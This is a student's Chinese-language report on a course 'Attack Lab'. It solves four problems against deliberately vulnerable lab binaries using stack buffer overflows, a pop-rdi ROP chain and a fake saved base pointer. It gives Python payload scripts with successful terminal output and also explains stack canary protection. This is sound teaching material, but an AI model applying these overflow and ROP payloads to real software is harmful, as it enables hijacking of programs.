Attack Lab report

姓名：赵子涵

学号：2024201579

题目解决思路

Problem 1

- **分析：**
  1. 观察汇编代码，首先找出打印结果的函数，注意到 `func1` 会调用 `puts` 函数来实现输出，我们需要将程序跳转至此。
  2. 溢出发生在 `func` 函数中，注意 `lea -0x8(%rbp),%rax`。这说明目标缓冲区（buffer）位于 `%rbp - 8` 的位置。

     由此可以的出栈的结构：
     - **Buffer**: 从 `rbp - 8` 开始。
     - **Saved %rbp**: 位于 `rbp` (占用 8 字节)。
     - **Ret Address**: 位于 `rbp + 8` (这是我们要覆盖的目标)。

     padding = 8 bytes + 8bytes = 16 bytes
  3. 我们需要 16 个字节的垃圾数据来填满缓冲区并覆盖旧的 `%rbp`，紧接着放入 `func1` 的地址。
- **解决方案：**

```
padding = b'A' * 16
# func1 的地址是 0x401216
target_addr = struct.pack('<Q', 0x401216)
payload = padding + target_addr

with open("ans1.txt", "wb") as f:
    f.write(payload)
```

- **结果：**

```
carotte@Carotte:~/attack-lab-Carotte215$ ./problem1 ans1.txt
Do you like ICS?
Yes!I like ICS!
```

Problem 2

- **分析：**
  1. 依然从通过条件出发，观察 `func2` 的汇编，

```
mov     %edi,-0x4(%rbp)       ; 把第一个参数(edi)存入栈
cmpl    $0x3f8,-0x4(%rbp)     ; 比较参数是否等于 0x3f8
je      40124c                ; 如果相等，跳转到打印成功的地方
```

发现调用 `func2` 时，第一个参数（寄存器 `%rdi`）必须是 `0x3f8`！

2. 对于 `func` 函数，类似于 `Problem 1`，可以得到

   padding = `8 bytes (Buffer)` + `8 bytes (Saved RBP)` = **16 bytes**

3. 考虑到第一个参数是由 `%rdi` 寄存器存储，而我们通过栈溢出只能操作栈内的数据，此时需要把栈上的数据放进 `%rdi`。

   观察到 `pop_rdi` 函数，可以直接将栈顶的值 `pop` 进 `%rdi` 寄存器。

4. 得到所需的栈的结构如下：

   - **Padding** (16字节)：填满缓冲区和旧 RBP。
   - `pop %rdi` **地址** (`0x4012c7`)：覆盖原本的返回地址。程序返回时会跳到这里。

   > 此处最初设计地址为 `pop_rdi` 函数起始地址 `0x4012bb`，但是程序未能通过。
   >
   > 检查发现，`pop_rdi` 函数内部也有对 `%rdi` 的修改，因此应该选择直接跳转至 `pop %rdi` 执行的地址，保证不受垃圾数据影响。

   - **参数值** (`0x3f8`)：`pop rdi` 会把这个值弹入 `%rdi`。
   - **目标函数地址** (`0x401216`)：`pop rdi` 里的 `ret` 会跳到这里。此时 `%rdi` 已经是 `0x3f8` 了，成功！

- **解决方案：**

```
padding_len = 16
target_val = 0x3f8
pop_rdi_addr = 0x4012c7
func2_addr  = 0x401216  # func2 的地址

payload = b'A' * padding_len
payload += struct.pack('<Q', pop_rdi_addr)
payload += struct.pack('<Q', target_val)
payload += struct.pack('<Q', func2_addr)

with open("ans2.txt", "wb") as f:
    f.write(payload)
```

- **结果：**

```
carotte@Carotte:~/attack-lab-Carotte215$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes!I like ICS!
```

Problem 3

- **分析：**

1. 从通过条件出发，观察汇编

```
401222: mov    %edi,-0x44(%rbp)      ; 保存参数
401225: cmpl   $0x72,-0x44(%rbp)     ; 比较参数是否等于 0x72 (114)
401229: jne    401282                ; 如果不等，跳转到错误提示
40122b: 48 b8 59 6f ...              ; 这里开始构建 "Your lucky number..." 字符串
```

如果我们把返回地址改成 `0x40122b`，可以跳过检查，直接进行后续逻辑！

2. 所以按照栈的结构
    - **Buffer**: 32 bytes
    - **Saved RBP**: 8 bytes。
    - **Return Address**: `0x40122b`

    但是结果始终不如人意

```
carotte@Carotte:~/attack-lab-Carotte215$ ./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Bus error (core dumped)
```

3. 与Gemini老师讨论再三，ta建议观察 `0x40122b` 之后的程序，而后我们发现了陷阱

```
40123f: mov    %rax,-0x40(%rbp)
401243: mov    %rdx,-0x38(%rbp)
```

这段代码依赖 `%rbp` 来定位栈上的位置存放字符串。但是在常规栈溢出攻击中，我们会覆盖掉 `Saved RBP` ，接着执行 `mov %rax, -0x40(%rbp)` 时，程序其实是试图往非法地址写数据，造成了 “`bus error`” 。

4. 关于找到合法可写的内存地址，我寻求了Gemini老师的帮助。（引用部分是Gemini的指导）

> 在反汇编代码中，代码段（`.text`）通常是**只读**的（Read-Only），我们不能把 RBP 指向这里，否则 `mov` 指令写入时会崩溃。 我们需要找到**可读写**（Read-Write）的数据段（`.data` 或 `.bss`）。

```
4013e6: 48 8b 05 13 21 00 00  mov  0x2113(%rip),%rax  # 403500 <stderr>
```

这告诉我们：地址 `0x403500` 存放着 `stderr` 指针。这是数据段的一部分。

> `.data` 段之后通常紧跟着 `.bss` 段（存放未初始化的全局变量）。
>
> `.bss` 段通常会预留一定的空间。
>
> 操作系统的内存分页通常是 4KB（`0x1000`）对齐的。如果 `0x403000` 是可写的，那么 `0x403000` 到 `0x404000` 这一页通常都是可写的。

因此我们选择了 `0x403800` 作为合法的、可写的内存地址，覆盖 `Saved RBP` 。

- **解决方案：**

```python
padding_len = 32
fake_rbp = 0x403800        # 一个可写的内存地址
target_addr = 0x40122b

payload = b'A' * padding_len
payload += struct.pack('<Q', fake_rbp)
payload += struct.pack('<Q', target_addr)

with open("ans3.txt", "wb") as f:
    f.write(payload)
```

- **结果：**

```
carotte@Carotte:~/attack-lab-Carotte215$ ./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
```

Problem 4

- **分析与解答：**

  1. 关注核心函数 `func`

     程序首先比较输入的数字：

     ```
     137b: c7 45 f0 fe ff ff ff  movl   $0xfffffffe,-0x10(%rbp) ; 设定阈值 4294967294
     13aa: 3b 45 f0              cmp    -0x10(%rbp),%eax        ; 比较输入和阈值
     13ad: 73 11                 jae    13c0                    ; 如果 输入 >=
     4294967294，跳转到处理流程
     ```

     输入太小：如果输入的数字小于 `4294967294`，程序不跳转，直接打印 "your money is not enough!"（`puts@plt` at `13b9` 指向的字符串），然后让你重新输入。

     输入够大：如果输入的数字大于或等于 `4294967294`，程序跳转到 `13c0`。

  2. 由此可得，满足条件的数只有 `4294967294` 和 `4294967295` 。

  3. 尝试后可得正确答案为 `4294967295`。

```
carotte@Carotte:~/attack-lab-Carotte215$ ./problem4
hi please tell me what is your name?
Carotte
hi! do you like ics?
Yes!
if you give me enough yuanshi,I will let you pass!
4294967293
your money is 4294967293
your money is not enough!
4294967294
your money is 4294967294
No! I will let you fail!
4294967295
your money is 4294967295
great!I will give you great scores
```

- **Canary保护**

1. **机制原理**： Canary（金丝雀）保护是一种防止栈溢出的手段。程序在函数开始时，从 `fs` 寄存器（通常是 `%fs:0x28`）读取一个随机生成的“金丝雀值”，并将其放置在栈帧的某个位置（通常在返回地址和局部变量之间）。在函数返回前，程序会再次检查这个位置的值是否被修改。如果发生了栈溢出，这个值通常会被覆盖，程序检测到不一致后会主动触发崩溃（Stack Smash），从而保护返回地址不被劫持。
2. **汇编代码体现**（以 `func` 函数为例）：

   设置 Canary（函数开头）：

   ```
   136c: 64 48 8b 04 25 28 00    mov    %fs:0x28,%rax    ; 从 fs:0x28 取随机值
   1375: 48 89 45 f8             mov    %rax,-0x8(%rbp) ; 存入栈 rbp-8 的位置
   ```

   检查 Canary（函数结尾）：

   ```
   140a: 48 8b 45 f8             mov    -0x8(%rbp),%rax ; 取出栈上的值
   140e: 64 48 2b 04 25 28 00    sub    %fs:0x28,%rax   ; 与原版随机值比较
   1417: 74 05                   je     141e            ; 相等则通过（跳转到 ret）
   1419: e8 b2 fc ff ff          call   ... <__stack_chk_fail@plt> ; 不等则报错
   ```